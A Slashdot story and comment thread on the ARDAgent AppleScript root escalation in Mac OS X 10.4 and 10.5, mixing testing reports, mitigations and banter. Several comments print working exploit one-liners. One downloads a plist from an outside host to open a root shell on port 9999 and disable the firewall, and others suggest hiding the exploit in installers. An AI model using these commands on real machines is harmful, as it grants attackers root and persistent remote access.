Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Mac OS X Root Escalation Through AppleScript

timothy posted more than 6 years ago | from the oh-snap-crispy-apples dept.

Security 359

An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

Sorry! There are no comments related to the filter you selected.

Impossible (-1, Flamebait)

Anonymous Coward | more than 6 years ago | (#23844881)

OS X is the most secure platform EVAR.

Oh yeah, first post?

Quick Question (1, Informative)

Gewalt (1200451) | more than 6 years ago | (#23846167)

I can't get the script to successfully run anything other than "whoami". Has anyone else found this to actually be exploitable... or is this just a silly "hey lets make terminal output scary characters" game?

Re:Quick Question (5, Informative)

Charles Dodgeson (248492) | more than 6 years ago | (#23846555)

I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in

% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content > /etc/resolv.conf"' % cat /etc/resolv.conf
Nasty Content

Local != Physical (-1, Troll)

Anonymous Coward | more than 6 years ago | (#23844947)

timothy, you douchebag, local access is not the same a physical access.

ARDAgent is Apple Remote Desktop (5, Informative)

dch24 (904899) | more than 6 years ago | (#23844951)

ARD = Apple Remote Desktop You can remove it by following these instructions [macosxhints.com] .

Recipe for neutralizing it (5, Informative)

goombah99 (560566) | more than 6 years ago | (#23847367)

Here's a non-destructive way to neutralize it.

cd /System/Library/CoreServices/RemoteManagement/

sudo tar -czf ARDAgent.app.gz ARDAgent.app

sudo chmod 600 ARDAgent.app.gz

This simply hides it in an unreadable tarball.

Re:Recipe for neutralizing it (0)

piojo (995934) | more than 6 years ago | (#23847625)

sudo tar -czf ARDAgent.app.gz ARDAgent.app
This should actually be:
sudo gzip ARDAgent.app

Because what you wrote implies a .gzipped file, but is actually a .gzipped tarball. (Sorry to be pedantic.) This will also remove the original file, so it is not necessary to chmod it (change its permissions to make it inaccessible).

This is Arnold speaking (-1, Offtopic)

Anonymous Coward | more than 6 years ago | (#23844953)

get doooowwwwwwnn! get to da choppa!

Re:This is Arnold speaking (-1, Offtopic)

Anonymous Coward | more than 6 years ago | (#23845411)

If it bleeds, we can kill it.

Re:This is Arnold speaking (1)

sleigher (961421) | more than 6 years ago | (#23846527)

I ain't got time to bleed....

Can we get some sources? (0)

MalleusEBHC (597600) | more than 6 years ago | (#23844965)

It's a submission from an anonymous user that doesn't cite any sources. That's pretty shoddy, even by Slashdot standards.

Re:Can we get some sources? (5, Funny)

Anonymous Coward | more than 6 years ago | (#23845263)

who needs a source, it works. tried on my mac, output is: root

so i tried replacing "whoami" with "rm -rf /" and

!@#ca$a%H&(
+++NO CARRIER

Re:Can we get some sources? (0)

Anonymous Coward | more than 6 years ago | (#23845349)

It works. What more would you like?

Physical access? (3, Insightful)

Menkhaf (627996) | more than 6 years ago | (#23844973)

Could somebody explain how running a script requires physical access?

Re:Physical access? (4, Informative)

pudge (3605) | more than 6 years ago | (#23845239)

The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.

Re:Physical access? (0)

aliquis (678370) | more than 6 years ago | (#23845427)

A terminal isn't enough?

Or any exploit which let you execute something?

The last part of the news post are pretty lame aswell, though expected from a mac fanatic.

Re:Physical access? (4, Informative)

pudge (3605) | more than 6 years ago | (#23845457)

A terminal isn't enough?
Correct.

Re:Physical access? (4, Informative)

tverbeek (457094) | more than 6 years ago | (#23847579)

A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.

ARDagent (0)

generica1 (193760) | more than 6 years ago | (#23844983)

This exploit would also only be possible if the user turned on Remote Desktop Sharing which is disabled by default out of the box on 'ALL the Macs in the world'.

When you turn that service on, it warns you of the security risks and still requires additional configuration to actually allow a connection to actually execute code remotely.

Oooh, applescript! you have pwnt us again.

Re:ARDagent (4, Informative)

Medieval_Gnome (250212) | more than 6 years ago | (#23845095)

I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.

Even as a normal user on my mac, the exploit code works.

MOD PARENT DOWN (4, Informative)

Moridineas (213502) | more than 6 years ago | (#23845189)

Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.

Re:ARDagent (2, Informative)

Barrie_rdv (1236634) | more than 6 years ago | (#23845287)

Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...

Re:ARDagent (4, Interesting)

generica1 (193760) | more than 6 years ago | (#23845901)

My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:

23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

No matter whether I tried ssh from remote, or local console bash.

Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).

So....YMMV....

Re:ARDagent (1)

Anonymous Coward | more than 6 years ago | (#23846407)

I kept getting this. Out of luck, at one point it worked and I got "root"; after that, I kept getting only my regular user. Restarting /System/Library/CoreServices/RemoteManagement/ARDAgent.app made it give me root again, consistently.

Re:ARDagent (5, Interesting)

Sentry21 (8183) | more than 6 years ago | (#23846855)

Disconfirmed - I don't have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.

dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory
So, how dangerous is this? Here's an example:

osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.

To remove, run 'launchctl unload com.apple.bash' 'launchctl unload /System/Library/LaunchDaemons/bash.plist' and then 'rm /System/Library/LaunchDaemons/bash.plist'

It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.

So yeah; anything can be downloaded, and anything can be done with it. Scary.

Re:ARDagent (1)

That's What She Said (1289344) | more than 6 years ago | (#23847507)

Now THAT is scary...

Only need a shell.... (2, Informative)

LS1 Brains (1054672) | more than 6 years ago | (#23845015)

Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.

Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

Re:Only need a shell.... (5, Informative)

pudge (3605) | more than 6 years ago | (#23845141)

Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.


Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

[pudge@bourque ~]$ ls -l /etc/test1
ls: /etc/test1: No such file or directory
[pudge@bourque ~]$ touch /etc/test1
touch: /etc/test1: Permission denied
[pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
[pudge@bourque ~]$ ls -l /etc/test1
-rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1
versus:

[pudge@bourque ~]$ ssh maintenance@localhost
bourque:~ maintenance$ ls -l /etc/test2
ls: /etc/test2: No such file or directory
bourque:~ maintenance$ touch /etc/test2
touch: /etc/test2: Permission denied
bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

Re:Only need a shell.... (1)

LS1 Brains (1054672) | more than 6 years ago | (#23845393)

VERY good info!

Now where did I leave those mod points :)

Re:Only need a shell.... (2, Informative)

t-maxx cowboy (449313) | more than 6 years ago | (#23845745)

I have confirmed the above assessment by 'pudge', that in order for the exploit to work, an account that is logged into the console, needs to be utilized from an SSH connection.

Tested it my self remotely.

I confirmed it to. (-1, Flamebait)

Gary W. Longsine (124661) | more than 6 years ago | (#23846243)

Right after I guessed the password for "pudge@bourque".

(Note to low-iQ moderators who seem to mod things they don't grok with Troll: This is a joke. If you don't get it, save your mod points. I didn't really hack into the guy's Macbook as a non-privileged user, and then escalate to root.)

Re:I confirmed it to. (4, Funny)

Gewalt (1200451) | more than 6 years ago | (#23846357)

My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?

Re:I confirmed it to. (3, Funny)

Poltras (680608) | more than 6 years ago | (#23846681)

You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.

Re:I confirmed it to. (1)

That's What She Said (1289344) | more than 6 years ago | (#23846735)

The joke was not a good one, IMHO, but he simpy meant:

"The trick works through SSH if you know the password of the user currently logged on the target machine."

Re:I confirmed it to. (1)

Gary W. Longsine (124661) | more than 6 years ago | (#23846815)

Yeah, it wasn't my best work.

Re:I confirmed it to. (1)

That's What She Said (1289344) | more than 6 years ago | (#23846967)

No worries, dude... My nerdy jokes are never understood by my non-nerd friends or family members. I am pretty used to it by now!

How smart? (1)

Gary W. Longsine (124661) | more than 6 years ago | (#23846779)

I suppose you would need to be at least smart enough not to brag about a 162 IQ. You might want to re-test. And have your blood lead and mercury levels checked.

Re:Only need a shell.... (2, Interesting)

That's What She Said (1289344) | more than 6 years ago | (#23846511)

I tried some variations, but I still think this bug is serious enoguh that Apple should do something ASAP!

I tried substituting the "whoami" part for some other command, just like pudge did with "touch", and it worked...

I was thinking how someone could fool a user to execute these commands, but I didn't have success with other variantions.

A simple AppleScript like this won't work:

tell appplication "ARDAgent" to do shell script "touch /etc/whatever"

As stated by others, it won't work through ssh, but it wouldn't be wise to use ssh to attack a machine, anyways...

So, I think that the only way this will work is through a shell script. An easy trick:

1. Just create some stupid application that people would want to try and install and that looks unsuspicious;

2. Create an installation package, so it looks safe. In this package, use a script for "post-install work" that does whatever you want;

3. Put it up on the web or send through e-mail to your target and wait for them to execute the installer;

4. ???

5. Profit? Well, not necessarily, but...

Since the script will be quite well hidden in the installation package, the user will not suspect the nasty stuff going on in his/her system.

You can, for instance, edit sharing preferences, create a user, or just wreak havoc by deleting some essential system file. The sky is the limit...

It's easier than that.. (3, Informative)

theolein (316044) | more than 6 years ago | (#23847051)

Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.

It's almost like Anna_Kournikova.jpg.vbs all over again.

Re:It's easier than that.. (2, Insightful)

pudge (3605) | more than 6 years ago | (#23847169)

Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
Right. It is yet another possible Trojan Horse vector. Most of us here are hard to trick into this, but most users at large are not.

Re:It's easier than that.. (2, Interesting)

That's What She Said (1289344) | more than 6 years ago | (#23847247)

I tried to take out the "osascript -e" part (and the single quotes too), create an AppleScriptand save as a compiled application. It doesn't work.

I just tried a more sophisticated trick:

tell application "Terminal"
        do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"touch /etc/test\"'"
end tell


This works! Double click the app and the file test will be created on /etc.

The only downside to this (for the attacker) is that a Terminal window opens and the user can see the commands. If you use the preflight script trick, the user will see nothing!

Re:It's easier than that.. (1)

theolein (316044) | more than 6 years ago | (#23847359)

you can use the same do script command to parse the terminal's PID and kill it.

Re:It's easier than that.. (2, Funny)

That's What She Said (1289344) | more than 6 years ago | (#23847453)

That seems fair, but 1337 H4X0RZ D0 I7 WI7H 57YL3!

Re:It's easier than that.. (2, Insightful)

theolein (316044) | more than 6 years ago | (#23847629)

The real hole is not so much this script, since you need to get something running on a target machine, but the fact that Apple Mail will execute Mac friendly *.app attachments at all just by clicking on them.

Re:Only need a shell.... (1)

lucas teh geek (714343) | more than 6 years ago | (#23847485)

$ ssh localhost
Last login: Thu Jun 19 09:35:17 2008
lucas@Hackintosh ~
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
what am I doing wrong? is this fixed in 10.5.3 or something?

Physical access? Have you heard of malware? (5, Insightful)

jeffmeden (135043) | more than 6 years ago | (#23845037)

On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities (also known as 'standard procedure' in the Windows community). What makes this exploit so useless, given that all the perpetrator has to do is send it out to enough people hoping just a few will run it?

It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.

Re:Physical access? Have you heard of malware? (-1)

rsborg (111459) | more than 6 years ago | (#23845289)

It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
You do realize that this exploit will not work on about 99% of the machines deployed, right? Read post above [slashdot.org] .

Re:Physical access? Have you heard of malware? (1)

Thalagyrt (851883) | more than 6 years ago | (#23845595)

Read replies to post above. I've also myself tested it on a machine with ARD disabled. Works just fine.

Re:Physical access? Have you heard of malware? (1, Insightful)

Anonymous Coward | more than 6 years ago | (#23845633)

You do realize that the comment you linked is dead wrong and it does in fact work on OSX out-of-the-box, right? I just tried it on my macbook pro which has Leopard and I have made no modifications to it. It works.

Re:Physical access? Have you heard of malware? (-1, Flamebait)

mattwarden (699984) | more than 6 years ago | (#23845321)

Interesting point, but consider this: Windows bad, Mac good.

This is a serious privilege escalation bug, but... (5, Insightful)

argent (18001) | more than 6 years ago | (#23845399)

First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.

It's also easy to fix.

And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.

Security is like sex. Once you're penetrated you're ****ed.

The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.

Re:This is a serious privilege escalation bug, but (4, Interesting)

Bert64 (520050) | more than 6 years ago | (#23845551)

No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.

Re:This is a serious privilege escalation bug, but (3, Insightful)

argent (18001) | more than 6 years ago | (#23847027)

No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.

Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole "let's make Linux into Windows" desktop hodgepodge that's layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it's conceptually more complex than the NeXTstep-derived equivalents in OS X.

And on top of that, many linux distros have resurrected the absolutely insane concept of Autorun CDs, something Apple was smart enough to abandon back in the dark ages of floppy distribution.

So, all in all, "do not be so proud of this technological terror". I'd go on, but I've got work to do. :)

[1] No, X11 is not really a UNIX API, it was designed to be platform independent, ran on UNIX and VMS from the start, and completely ignores many of the fundamental design goals of UNIX as well as many of the most useful *results* of those design goals.

Re:This is a serious privilege escalation bug, but (5, Funny)

Applekid (993327) | more than 6 years ago | (#23845929)

. . . It's a classic blunder, like getting into a land war in Asia . . . 99 44/100 percent . . . Security is like sex. Once you're penetrated you're ****ed.
You are now my new favorite poster.

Re:This is a serious privilege escalation bug, but (2, Funny)

smitty97 (995791) | more than 6 years ago | (#23846141)

And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

I found another privelege escalation!

$ su
Password:
#

Re:This is a serious privilege escalation bug, but (1)

argent (18001) | more than 6 years ago | (#23847159)

I know you're making a joke but there's a known race condition in a similar widely-used command.

Re:Physical access? Have you heard of malware? (3, Insightful)

Goaway (82658) | more than 6 years ago | (#23845647)

Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities
No, it does not. Most malware doesn't need root to do most of the things it wants to do. Having root opens up some more possibilities, but it is by now means required.

Physical access? (1, Insightful)

fyleow (1098657) | more than 6 years ago | (#23845059)

I'm not familiar with AppleScript but that doesn't sound like it requires physical access to me. Can't you SSH or remote desktop into an OS X server and run that command to get root access? That seems like a serious vulnerability to me.

Re:Physical access? (5, Informative)

Medieval_Gnome (250212) | more than 6 years ago | (#23845133)

This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error

_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

However, it does work if you have a remote desktop view into a machine.

It's the same marketing mistake as Microsoft. (5, Insightful)

pandrijeczko (588093) | more than 6 years ago | (#23845113)

Yes, I fully accept that an exploit requiring physical access to a machine is a much lower security risk than one that can be carried out from a remote location.

But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.

And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.

So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.

Re:It's the same marketing mistake as Microsoft. (1)

pudge (3605) | more than 6 years ago | (#23845329)

So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.
Agreed. That's probably why it was posted. I think if timothy thought this was nothing to care about, it wouldn't have been. :-)

Re:It's the same marketing mistake as Microsoft. (2, Insightful)

Colonel Fahlt (1267662) | more than 6 years ago | (#23846195)

(Not to mention we might not be talking about "poor unwitting users", we might be talking about a user in a business context who's not supposed to have root privileges but can suddenly grant themselves the ability to do things they're not supposed to. What's that statistic about security breaches from the inside of a company?)

This is an OFF-TOPIC reply (0, Offtopic)

That's What She Said (1289344) | more than 6 years ago | (#23846929)

If I pay twice as much for a "drum and bass" album, will they throw in the "guitar and vocals" also?
I am not sure, but pray to Gosh you don't get a boring MC doing some ragga-style vocals over the beats... I love drum and bass, but these MC's are sooooooo damn boring!

Re:It's the same marketing mistake as Microsoft. (1)

Lars T. (470328) | more than 6 years ago | (#23846997)

And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.
Suuure, it would be so easy to tell a "newbie Apple user" to go to Applications/Utilities/, start "Terminal" and then type something. I have a hunch it would be way easier to just tell them (or a newbie Linux user) to download "Malware.app/rpm" and simply run it. When you can social engineer somebody, don't make it too fucking complicated just to prove a stupid point - or he might just ignore you.

Re:It's the same marketing mistake as Microsoft. (1)

pandrijeczko (588093) | more than 6 years ago | (#23847633)

With all respect, somebody who has got down to the level of installing RPMs at the BASH prompt has probably already started the steep learning curve that takes them away from being a newbie user - so therefore your own analogy is a total fallacy.

And can I suggest that before you respond to me any more, you Google "Kevin Mitnick" and "The Badir Brothers" so you can read up some articles on social engineering to become more informed in the subject?

As someone who works in security on telephony servers, I would be totally remiss in my job if I excluded any security vulnerability just because it's "too fucking complicated" to engineer - sure, some vulnerabilities are less risky than others but they are ALL risks.

Oh, and stop being so tetchy just because I DARE criticise Apple... Guess what? Microsoft fucks up occasionally, Red Hat and Ubuntu fuck up occasionally, so do Apple. So get used to it.

Physical access? (1)

Moridineas (213502) | more than 6 years ago | (#23845115)

On the other hand, since this exploit seems to require physical access to the machine to be rooted
It does? Am I missing something? I just SSHed to my laptop and succesfully tested the above command. So remote shell access works. Clever people could probably figure out some other ways of triggering an applescript to run without there being any physical machine access, I don't know.

Admittedly most OS X users probably don't have any kind of remote shell access enabled, but this does seem to be a problem...

Re:Physical access? (2, Insightful)

Medieval_Gnome (250212) | more than 6 years ago | (#23845175)

Try sshing into a machine where your user isn't currently logged in, or running the exploit as a different user. As best I can tell, it doesn't work in the case where the user running the command isn't the user who is graphically logged in.

Re:Physical access? (4, Insightful)

Anonymous Coward | more than 6 years ago | (#23845279)

You don't need any sort of remote login, all you need is a client (web browser, Quicktime, Flash, etc.) buffer overflow that you can use to start a shell...

Re:Physical access? (1, Insightful)

Anonymous Coward | more than 6 years ago | (#23846715)

This is so obviously true I can't believe there are people in this discussion suggesting this isn't a serious problem, or a real and actual problem with the OS security model. These sorts of problems happen all the time with all sorts of OSs so the problem is not unique--this does not obviate it's severity however.

MacOS has a serious security issue here, basically for-free privilege escaltion. This means running this OS with this vulnerability unpatched is equivalent to running as 'Administrator' on Windows, or root on *nix. This is always considered a 'bad thing'. Being loged into the MacOS as a regular user is now a 'bad thing', just like default accounts for WindowsXP.

Re:Physical access? (2, Interesting)

MyDixieWrecked (548719) | more than 6 years ago | (#23845391)

I just SSHed to my laptop and succesfully tested the above command.

I can't seem to get this to work. Not only does Applescript tell me that ARDAgent is not scriptable (when I tried to open it's scripting library: /System/Library/CoreServices/RemoteManagement/ARDAgent.app), but it also spit back this error:

ARDAgent got an error: "whoami" doesn't understand the do shell script message.

running the script on the commandline returns this:

spikedesktop:Library spike$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)


I'm running OSX 10.5.3 Intel.

Re:Physical access? (4, Interesting)

MyDixieWrecked (548719) | more than 6 years ago | (#23845465)

Actually... interesting.

I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.

I ssh'd into my box at home and running this was successful.

fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.

So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).

This is interesting.

Re:Physical access? (1)

generica1 (193760) | more than 6 years ago | (#23845939)

Same here, across multiple machines/configurations/architectures (PPC/Intel).

Wonder what we are doing differently?

Re:Physical access? (1)

Henriok (6762) | more than 6 years ago | (#23846101)

I got this exact result to. 10.5.3/Intel, ARD activated.

Re:Physical access? (0)

Anonymous Coward | more than 6 years ago | (#23847255)

Just tested this on a couple different systems (10.5.3 and 10.3.9) getting the exact same thing
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

It looks like this does not work on the newer versions of the ard agent (3.2.1)

not a full exploit, yet (2, Informative)

rritterson (588983) | more than 6 years ago | (#23845275)

Okay, so I tested it and the whoami returns 'root'.

However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:

osascript -e 'tell app "ARDAgent" to do shell script "touch /Users/me/Downloads/test.txt"'

It doesn't do anything for a long time, and then returns

execution error: ARDAgent got an error: AppleEvent timed out. (-1712)


Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.

Re:not a full exploit, yet (4, Informative)

rritterson (588983) | more than 6 years ago | (#23845469)

Actually, the above only occurs as I had 'su'ed to another user, then ran the above command. If, instead of using su I simply try to touch a file in the second account, it works just fine. So I retract the above.

Re:not a full exploit, yet (1)

rthille (8526) | more than 6 years ago | (#23847627)

hmmm, logged into the console, and ssh'd in, with the screensaver locking the screen, I get 'AppleEvent timed out'.
when I unlock the console and then immediately retry the osascript invocation, I get 'Connection is invalid', after a long delay.
after that one (which takes ~30 secs or more), then the following one returns 'root'

Wonder why the delay before it works, since as soon as the screen locks due to idle, it stops working again...

Yes, but does it run on Linux^H^H^H^H^H (2, Funny)

davidwr (791652) | more than 6 years ago | (#23845417)

Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?

Re:Yes, but does it run on Linux^H^H^H^H^H (1)

f8l_0e (775982) | more than 6 years ago | (#23845919)

Yes, but only on the "iCoffee Touch" line of coffee machines.

Insecure root-owned binaries on unix? (1, Interesting)

Anonymous Coward | more than 6 years ago | (#23845521)


Never!

It does not matter if the service is enabled or not, osascript will execute the application for you.

It's not like we don't have a simple workaround:
sudo chmod 000 /System/Library/CoreServices/RemoteManagement/ARDAgent.app

Perhaps you might consider evaluating the rest of the .app directories and /usr/bin and /usr/sbin for suid-type binaries which should be removed or disabled if you in any-way allow third-parties to execute local commands -- or are just paranoid.

Re:Insecure root-owned binaries on unix? (3, Informative)

Charles Dodgeson (248492) | more than 6 years ago | (#23845805)

That's it:

% ls -l /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
-rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent

Time to run find(1) to see if there are any other things like this.

And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.

One more, maybe. (3, Informative)

bill_mcgonigle (4333) | more than 6 years ago | (#23846639)

Time to run find(1) to see if there are any other things like this.

Assumptions:
AppleScripting is only applicable to .app's
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.

Results:

%sudo find /System/ -type f -ls | grep ' -rws' | grep MacOS | grep '\.app'
365120 2864 -rwsr-xr-x 1 root wheel 1463076 Oct 17 2007 /System//Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
376733 120 -rws--x--x 1 root daemon 61076 Jul 11 2007 /System//Library/Filesystems/AppleShare/check_afp.app/Contents/MacOS/check_afp
Now, I have one of the machines where this exploit isn't working:

%osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
So, somebody out there who can get it to work, see if:

%osascript -e 'tell app "check_afp" to do shell script "whoami"'
works or not. That might need full pathing, I'm not sure.

Re:One more, maybe. (1)

Charles Dodgeson (248492) | more than 6 years ago | (#23846891)

I suspect that check_afp isn't scriptable: % osascript -e 'tell app "check_afp" to do shell script "whoami"'
24:48: execution error: An error of type -10661 has occurred. (-10661)

Re:One more, maybe. (1)

That's What She Said (1289344) | more than 6 years ago | (#23847047)

I tried check_afp and it does not work on my machine if the full path to it isn't given on the command line. After that, I got the same error as you got.

Proof of Concept Possibilities (4, Insightful)

AgentOJ (320270) | more than 6 years ago | (#23845947)

This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.

it's just a local exploit. (0)

Deathlizard (115856) | more than 6 years ago | (#23846469)

It's a good thing that it's only a local exploit.

OSX is so secure It's impossible for Safari to go a malicious Website and download a malicious installer to your Mac's "downloads" directory disquised as a legitimate installer (say Firefox 3) and remotely root your box using this local exploit and install a rootkit or virus when you confuse it with the legitimate installer.

Oh wait... [dhanjani.com]

 

Re:it's just a local exploit. (0)

Anonymous Coward | more than 6 years ago | (#23846583)

Forget about the carpet bomb. All it takes is another exploit in a client app (I'm looking at you, Flash player) that lets the attacker run this code as the current user, and it's all over.

stupid SUID (1)

tickell (889188) | more than 6 years ago | (#23846637)

sudo chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent Sheesh ....

The exploits - they do nothing! (2, Informative)

Lars T. (470328) | more than 6 years ago | (#23846711)

After about 20 seconds waiting:
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.

Intellectual Honesty (5, Interesting)

JeffSpudrinski (1310127) | more than 6 years ago | (#23846729)

Firstly, I want to say I'm impressed.

I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.

I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
